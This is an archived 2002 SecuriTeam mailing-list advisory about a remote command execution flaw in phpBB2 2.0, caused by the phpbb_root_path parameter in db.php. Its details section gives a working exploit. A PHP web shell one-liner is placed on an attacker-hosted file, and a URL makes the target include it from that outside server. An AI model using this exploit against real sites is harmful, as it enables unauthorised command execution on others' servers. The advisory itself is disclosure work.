

[NEWS] PhpBB2 Remote Command Execution

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-03/0084.html>

From: support@securiteam.com

Date: 03/18/02

From: support@securiteam.com

To: list@securiteam.com

Date: Mon, 18 Mar 2002 23:38:50 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

PhpBB2 Remote Command Execution

SUMMARY

The `phpbb_root_path` variable accepts scripts from external servers, which makes phpBB2 vulnerable to remote execution command using a custom script written by the attacker.

DETAILS

Vulnerable systems:

phpBB2 version 2.0.

The "phpBB2 root path" variable accepts input from other web sites, and this enables remote attackers to execute arbitrary commands remotely.

The vulnerability lies in the fact that `db.php` accepts the following input:

```
'/phpBB2/includes/db.php?phpbb_root_path=full_path_to_script'
```

Where the `full_path_to_script` can be a full URL from another web server.

For example, create a directory called 'db' on your web server. Now at this db directory create a file called 'mysql.txt' or 'mysql4.txt' or 'postgres.txt' (other file name don't seem to work).

This `mysql.txt` should contain this line:

Securiteam: [NEWS] PhpBB2 Remote Command Execution

```
<? echo "<pre>"; system($cmd); ?>
```

The next step is to type in the following URL in your browser:

http://example.com/phpBB2/includes/db.php?phpbb_root_path=http://your_http_server/=txta>

You should get the 'uname result' of example.com

ADDITIONAL INFORMATION

This vulnerability was found by pokley and
<mailto:nullbyte@inetd-secure.net> nullbyte.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[NT] VBScript Handling in IE can Allow Web Pages to Read Local Files"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)